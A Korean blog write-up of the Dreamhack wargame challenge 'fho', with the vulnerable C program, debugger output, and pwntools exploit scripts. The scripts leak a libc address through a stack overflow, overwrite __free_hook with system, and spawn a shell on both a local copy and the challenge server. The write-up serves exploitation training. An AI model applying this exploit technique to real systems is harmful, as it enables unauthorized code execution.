fho

2022. 7. 27. 16:20·Wargame/Dreamhack
728x90
반응형

 

// Name: fho.c
// Compile: gcc -o fho fho.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  puts("[2] Arbitary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);

  return 0;
}
┌──(kali㉿kali)-[~/Downloads/1]
└─$ checksec --file=fho
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   71) Symbols    No    0

문제에서 보았듯이 보호 기법이 다수 걸려있다.

 

코드는 크게 3부분으로 나눌 수 있는데,

[1] stack buffer overflow에서는 writeable address 확인,
[2] Arbitary-Address-Write에서는 이후 [3]에서 free 함수를 사용하기에 해당 함수의 address를 system 함수로의 변경.
[3] Arbitrary-Address-Free에서는 /bin/sh 문자열을 인자로 전달하면서 free 함수 (= system 함수) 실행

으로 풀 수 있을 것으로 보인다.

참고로 본 파일에는 canary가 걸려 있으나 우리는 ret address의 변조를 목표로하는 것이 아니며 canary 값 확인 전 free 함수 호출 시 system 함수를 호출할 것이기 때문에 canary는 무시해도 된다.

우선 buf 변수의 위치를 gdb로 확인해보면

gef➤  disas main
Dump of assembler code for function main:
...
   0x000000000000092a <+112>:   lea    -0x40(%rbp),%rax
   0x000000000000092e <+116>:   mov    $0x100,%edx
   0x0000000000000933 <+121>:   mov    %rax,%rsi
   0x0000000000000936 <+124>:   mov    $0x0,%edi
   0x000000000000093b <+129>:   call   0x770 <read@plt>
...

%rbp - 0x40 위치에 buf 변수가 있음을 알 수 있다.

추가로 ASLR이 걸려있기에 특정 주소를 확인해야하는데, 일반적으로 프로그램은 종료 후 __libc_start_main 함수로 되돌아가게 되기에 이를 사용해서 offset을 구할 수 있다.

다만 유의해야할 점은 프로그램은 사용자의 libc를 가져와서 사용하기 때문에 gdb로 문제 파일을 바로 분석하면 제공된 libc와 버전이 달라 offset이 다르기에 이를 유의해야한다.

우선 나의  시스템 기준으로 익스플로잇 해보자.

gdb로 __libc_start_main 함수의 주소를 확인해보면 아래와 같다.

gef➤  x/gx $rbp+8
0x7fffffffe2d8: 0x00007ffff7dff7fd
gef➤  x/i 0x00007ffff7dff7fd
   0x7ffff7dff7fd <__libc_start_main+205>:      mov    %eax,%edi

__libc_start_main + 205 위치이기에 이를 유의하여 작성해보자.

from pwn import *

p = process('./fho')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pause()
pay = b''
pay += b'A'*(0x40+7)

p.sendlineafter(b'Buf: ',pay)

p.recv(0x48+5)
libc_start_main_add = p.recv(6) + b'\x00\x00'
baseadd = u64(libc_start_main_add) - 205 - libc.symbols['__libc_start_main']

p.recv(1) #recv \n

system = baseadd + libc.symbols['system']
free_hook = baseadd + libc.symbols['__free_hook']
binsh = baseadd + 0x198882

print(hex(system))
print(hex(free_hook))
print(hex(binsh))

p.sendlineafter(b': ',str(free_hook))
p.sendlineafter(b': ',str(system))
p.sendlineafter(b': ',str(binsh))

p.interactive()
┌──(kali㉿kali)-[~/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b]
└─$ python a.py
[+] Starting local process './fho': pid 16103
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Paused (press any to continue)
0x7f1f76270860
0x7f1f763f8e20
0x7f1f763bf882
/home/kali/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b/a.py:25: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b': ',str(free_hook))
/home/kali/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b/a.py:26: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b': ',str(system))
/home/kali/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b/a.py:27: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b': ',str(binsh))
[*] Switching to interactive mode
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),121(bluetooth),133(scanner),141(kaboxer)

 

이제 제공된 libc 파일을 기준으로 서버에 다시 한번 시도해보자.

무엇보다 libc 버전이 다르기 때문에 main 함수의 return address에 저장되는 __libc_start_main + xx의 위치가 변하게되고, /bin/sh 문자열의 offset도 바뀌게 된다.

문자열이야 그냥 찾으면 되는데, __libc_start_main이 문제다.

이를 확인하기 위해서는 파일 실행 시 제공된 libc 파일을 함께 로드시켜줘야하는데, 또, 이를 위해서는 ld 파일이 맞아야 한다. 더럽네...

libc 버전에 따른 ld 파일을 찾으려고 했는데 그것 마저도 잘 찾아지지 않아 제공된 libc 파일과 내 시스템의 libc 파일을 비교해가며 위치를 찾아보았다.

우선 gdb로 확인한 __libc_start_main 위치는 아래와 같이 exit 함수 직전이다.

ef➤  disas __libc_start_main
...
   0x00007ffff7dfe7fd <+205>:   mov    %eax,%edi
   0x00007ffff7dfe7ff <+207>:   call   0x7ffff7e16100 <__GI_exit>
...

제공된 libc 파일에서 해당 함수를 찾아보면 아래와 같고,

┌──(kali㉿kali)-[~/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b (2)]
└─$ objdump -d libc-2.27.so| grep __libc_start_main
objdump: Warning: Separate debug info file libc-2.27.so found, but CRC does not match - ignoring
objdump: Warning: Separate debug info file /home/kali/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b (2)/libc-2.27.so found, but CRC does not match - ignoring
0000000000021b10 <__libc_start_main@@GLIBC_2.2.5>:
   21b3a:       74 09                   je     21b45 <__libc_start_main@@GLIBC_2.2.5+0x35>
...

대략 +205 위치쯤에서 주변 값을 출력해보니 +231 위치에 동일한 어셈블러코드가 있었다.

┌──(kali㉿kali)-[~/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b (2)]
└─$ objdump -d libc-2.27.so| grep -A10 21bdd
objdump: Warning: Separate debug info file libc-2.27.so found, but CRC does not match - ignoring
objdump: Warning: Separate debug info file /home/kali/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b (2)/libc-2.27.so found, but CRC does not match - ignoring
   21bdd:       48 8b 05 c4 92 3c 00    mov    0x3c92c4(%rip),%rax        # 3eaea8 <__environ@@GLIBC_2.2.5-0x31f0>
   21be4:       48 8b 74 24 08          mov    0x8(%rsp),%rsi
   21be9:       8b 7c 24 14             mov    0x14(%rsp),%edi
   21bed:       48 8b 10                mov    (%rax),%rdx
   21bf0:       48 8b 44 24 18          mov    0x18(%rsp),%rax
   21bf5:       ff d0                   call   *%rax
   21bf7:       89 c7                   mov    %eax,%edi
   21bf9:       e8 42 16 02 00          call   43240 <exit@@GLIBC_2.2.5>

이를 기준으로 시도.

from pwn import *

p = remote('host1.dreamhack.games',21811)
#p = process('./fho')

libc = ELF('./libc-2.27.so')
pay = b''
pay += b'A'*(0x40+7)

p.sendlineafter(b'Buf: ',pay)

p.recv(0x48+5)
libc_start_main_add = p.recv(6) + b'\x00\x00'
baseadd = u64(libc_start_main_add) - 231 - libc.symbols['__libc_start_main']

p.recv(1) #recv \n
system = baseadd + libc.symbols['system']
free_hook = baseadd + libc.symbols['__free_hook']
binsh = baseadd + 0x1b3e1a

print(hex(system))
print(hex(free_hook))
print(hex(binsh))

p.sendlineafter(b': ',str(free_hook).encode())
p.sendlineafter(b': ',str(system).encode())
p.sendlineafter(b': ',str(binsh).encode())

p.interactive()
┌──(kali㉿kali)-[~/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b (2)]
└─$ python a.py
[+] Opening connection to host1.dreamhack.games on port 21811: Done
[*] '/home/kali/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b (2)/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
0x7f14d1512550
0x7f14d18b08e8
0x7f14d1676e1a
[*] Switching to interactive mode
$ id
uid=1000(fho) gid=1000(fho) groups=1000(fho)
$ cat flag
DH{----------#플래그는 삭제}

libc & ld 파일을 어떻게 링크시켜줘야될지 좀 알아봐야겠다.

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Dreamhack' 카테고리의 다른 글

oneshot  (0) 2022.07.29
hook  (0) 2022.07.29
basic_rop_x86  (0) 2022.07.25
basic_rop_x64  (0) 2022.07.22
rop  (0) 2022.07.20
'Wargame/Dreamhack' 카테고리의 다른 글
  • oneshot
  • hook
  • basic_rop_x86
  • basic_rop_x64
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (505) N
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (73)
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • File Structure (6)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (44) N
        • Solved (42) N
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    lob
    BOF
    root-me
    pwntools
    libc
    RTL
    pwnable.kr
    Me
    Buffer Overflow
    FSB
    docker
    root
    tcache
    hackerschool
    la ctf
    cryptohack
    32bit
    dreamhack
    x86
    rop
    64bit
    Format String Bug
    exploit education
    heap
    ROOT ME
    phoenix
    CANARY
    vtable
    _IO_FILE
    x64
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
fho
상단으로

티스토리툴바